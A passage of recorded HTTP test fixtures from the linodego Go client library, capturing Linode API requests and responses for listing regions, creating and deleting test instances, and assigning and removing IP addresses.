"1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "eu-west", "label": "London, UK", "country": "uk", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5,176.58.107.5,176.58.116.5,176.58.121.5,151.236.220.5,212.71.252.5,212.71.253.5,109.74.192.20,109.74.193.20,109.74.194.20", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5,139.162.13.5,139.162.14.5,139.162.15.5,139.162.16.5,139.162.21.5,139.162.27.5,103.3.60.18,103.3.60.19,103.3.60.20", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5,139.162.131.5,139.162.132.5,139.162.133.5,139.162.134.5,139.162.135.5,139.162.136.5,139.162.137.5,139.162.138.5,139.162.139.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "ap-northeast", "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5,139.162.67.5,139.162.68.5,139.162.69.5,139.162.70.5,139.162.71.5,139.162.72.5,139.162.73.5,139.162.74.5,139.162.75.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}], "page": 1, "pages": 1, "results": 14}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=900 - private, max-age=60, s-maxage=60 Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"region":"ap-west","type":"g6-nanode-1","label":"go-test-ins-wo-disk-39pa62gh8ys0","booted":false}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances method: POST response: body: '{"id": 46937852, "label": "go-test-ins-wo-disk-39pa62gh8ys0", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["172.105.58.203"], "ipv6": "1234::5678/128", "image": null, "region": "ap-west", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": false, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "1a12d3d7c0a6cee83c7699d2c92ade2ede5b8e67"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "714" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "10" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-test-conf-v4c2d76mt14v","devices":{},"interfaces":null}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/46937852/configs method: POST response: body: '{"id": 49793373, "label": "go-test-conf-v4c2d76mt14v", "helpers": {"updatedb_disabled": true, "distro": true, "modules_dep": true, "network": true, "devtmpfs_automount": true}, "kernel": "linode/latest-64bit", "comments": "", "memory_limit": 0, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "root_device": "/dev/sda", "devices": {"sda": null, "sdb": null, "sdc": null, "sdd": null, "sde": null, "sdf": null, "sdg": null, "sdh": null}, "initrd": null, "run_level": "default", "virt_mode": "paravirt", "interfaces": []}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "539" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"region":"ap-west","type":"g6-nanode-1","label":"go-ins-test-assign","root_pass":"R34lBAdP455LONGLONGLONGLONG","image":"linode/debian9","booted":false}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances method: POST response: body: '{"id": 46937854, "label": "go-ins-test-assign", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["172.105.58.206"], "ipv6": "1234::5678/128", "image": "linode/debian9", "region": "ap-west", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": false, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "915afd6c961c0333afa335a52a655d656beae128"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "712" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "10" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"linode_id":46937854,"prefix_length":64}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/ipv6/ranges method: POST response: body: '{"range": "1234::5678/64", "route_target": "1234::5678"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "86" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - ips:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"region":"ap-west","assignments":[{"address":"1234::5678/64","linode_id":46937852}]}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/ips/assign method: POST response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - ips:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/46937852/ips method: GET response: body: '{"ipv4": {"public": [{"address": "172.105.58.203", "gateway": "172.105.58.1", "subnet_mask": "255.255.255.0", "prefix": 24, "type": "ipv4", "public": true, "rdns": "172-105-58-203.ip.linodeusercontent.com", "linode_id": 46937852, "region": "ap-west"}], "private": [], "shared": [], "reserved": []}, "ipv6": {"slaac": {"address": "1234::5678", "gateway": "1234::5678", "subnet_mask": "1234::5678", "prefix": 64, "type": "ipv6", "rdns": null, "linode_id": 46937852, "region": "ap-west", "public": true}, "link_local": {"address": "1234::5678", "gateway": "1234::5678", "subnet_mask": "1234::5678", "prefix": 64, "type": "ipv6", "rdns": null, "linode_id": 46937852, "region": "ap-west", "public": false}, "global": [{"range": "1234::5678", "prefix": 64, "region": "ap-west", "route_target": "1234::5678"}]}}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "885" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/46937854 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/46937852 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/TestIPAddress_Instance_Delete.yaml000066400000000000000000000500311455402072200332220ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions method: GET response: body: '{"data": [{"id": "ap-west", "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5,172.105.35.5,172.105.36.5,172.105.37.5,172.105.38.5,172.105.39.5,172.105.40.5,172.105.41.5,172.105.42.5,172.105.43.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "ca-central", "country": "ca", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5,172.105.3.5,172.105.4.5,172.105.5.5,172.105.6.5,172.105.7.5,172.105.8.5,172.105.9.5,172.105.10.5,172.105.11.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "ap-southeast", "country": "au", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5,172.105.169.5,172.105.168.5,172.105.172.5,172.105.162.5,172.105.170.5,172.105.167.5,172.105.171.5,172.105.181.5,172.105.161.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "us-central", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5,72.14.188.5,173.255.199.5,66.228.53.5,96.126.122.5,96.126.124.5,96.126.127.5,198.58.107.5,198.58.111.5,23.239.24.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "us-west", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5,173.230.147.5,173.230.155.5,173.255.212.5,173.255.219.5,173.255.241.5,173.255.243.5,173.255.244.5,74.207.241.5,74.207.242.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "us-southeast", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5,173.230.128.5,173.230.129.5,173.230.136.5,173.230.140.5,66.228.59.5,66.228.62.5,50.116.35.5,50.116.41.5,23.239.18.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "us-east", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Bare Metal", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5,96.126.106.5,50.116.53.5,50.116.58.5,50.116.61.5,50.116.62.5,66.175.211.5,97.107.133.4,207.192.69.4,207.192.69.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "eu-west", "country": "uk", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5,176.58.107.5,176.58.116.5,176.58.121.5,151.236.220.5,212.71.252.5,212.71.253.5,109.74.192.20,109.74.193.20,109.74.194.20", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "ap-south", "country": "sg", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5,139.162.13.5,139.162.14.5,139.162.15.5,139.162.16.5,139.162.21.5,139.162.27.5,103.3.60.18,103.3.60.19,103.3.60.20", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "eu-central", "country": "de", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5,139.162.131.5,139.162.132.5,139.162.133.5,139.162.134.5,139.162.135.5,139.162.136.5,139.162.137.5,139.162.138.5,139.162.139.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "ap-northeast", "country": "jp", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5,139.162.67.5,139.162.68.5,139.162.69.5,139.162.70.5,139.162.71.5,139.162.72.5,139.162.73.5,139.162.74.5,139.162.75.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}], "page": 1, "pages": 1, "results": 11}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=900 - private, max-age=60, s-maxage=60 Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"region":"ap-west","type":"g6-nanode-1","label":"go-test-ins-wo-disk-66nbg4c2vu45","booted":false}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances method: POST response: body: '{"id": 39426832, "label": "go-test-ins-wo-disk-66nbg4c2vu45", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["194.195.113.107"], "ipv6": "1234::5678/128", "image": null, "region": "ap-west", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": []}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "638" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "10" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-test-conf-o2cwg7j7q439","devices":{},"interfaces":null}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/39426832/configs method: POST response: body: '{"id": 41972313, "label": "go-test-conf-o2cwg7j7q439", "helpers": {"updatedb_disabled": true, "distro": true, "modules_dep": true, "network": true, "devtmpfs_automount": true}, "kernel": "linode/latest-64bit", "comments": "", "memory_limit": 0, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "root_device": "/dev/sda", "devices": {"sda": null, "sdb": null, "sdc": null, "sdd": null, "sde": null, "sdf": null, "sdg": null, "sdh": null}, "initrd": null, "run_level": "default", "virt_mode": "paravirt", "interfaces": []}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "539" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"type":"ipv4","public":true}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/39426832/ips method: POST response: body: '{"address": "194.195.113.110", "gateway": "194.195.113.1", "subnet_mask": "255.255.255.0", "prefix": 24, "type": "ipv4", "public": true, "rdns": "194-195-113-110.ip.linodeusercontent.com", "linode_id": 39426832, "region": "ap-west"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "232" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/39426832/ips method: GET response: body: '{"ipv4": {"public": [{"address": "194.195.113.107", "gateway": "194.195.113.1", "subnet_mask": "255.255.255.0", "prefix": 24, "type": "ipv4", "public": true, "rdns": "194-195-113-107.ip.linodeusercontent.com", "linode_id": 39426832, "region": "ap-west"}, {"address": "194.195.113.110", "gateway": "194.195.113.1", "subnet_mask": "255.255.255.0", "prefix": 24, "type": "ipv4", "public": true, "rdns": "194-195-113-110.ip.linodeusercontent.com", "linode_id": 39426832, "region": "ap-west"}], "private": [], "shared": [], "reserved": []}, "ipv6": {"slaac": {"address": "1234::5678", "gateway": "1234::5678", "subnet_mask": "1234::5678", "prefix": 64, "type": "ipv6", "rdns": null, "linode_id": 39426832, "region": "ap-west", "public": true}, "link_local": {"address": "1234::5678", "gateway": "1234::5678", "subnet_mask": "1234::5678", "prefix": 64, "type": "ipv6", "rdns": null, "linode_id": 39426832, "region": "ap-west", "public": false}, "global": []}}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "1004" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/39426832/ips/194.195.113.110 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/39426832/ips method: GET response: body: '{"ipv4": {"public": [{"address": "194.195.113.107", "gateway": "194.195.113.1", "subnet_mask": "255.255.255.0", "prefix": 24, "type": "ipv4", "public": true, "rdns": "194-195-113-107.ip.linodeusercontent.com", "linode_id": 39426832, "region": "ap-west"}], "private": [], "shared": [], "reserved": []}, "ipv6": {"slaac": {"address": "1234::5678", "gateway": "1234::5678", "subnet_mask": "1234::5678", "prefix": 64, "type": "ipv6", "rdns": null, "linode_id": 39426832, "region": "ap-west", "public": true}, "link_local": {"address": "1234::5678", "gateway": "1234::5678", "subnet_mask": "1234::5678", "prefix": 64, "type": "ipv6", "rdns": null, "linode_id": 39426832, "region": "ap-west", "public": false}, "global": []}}' 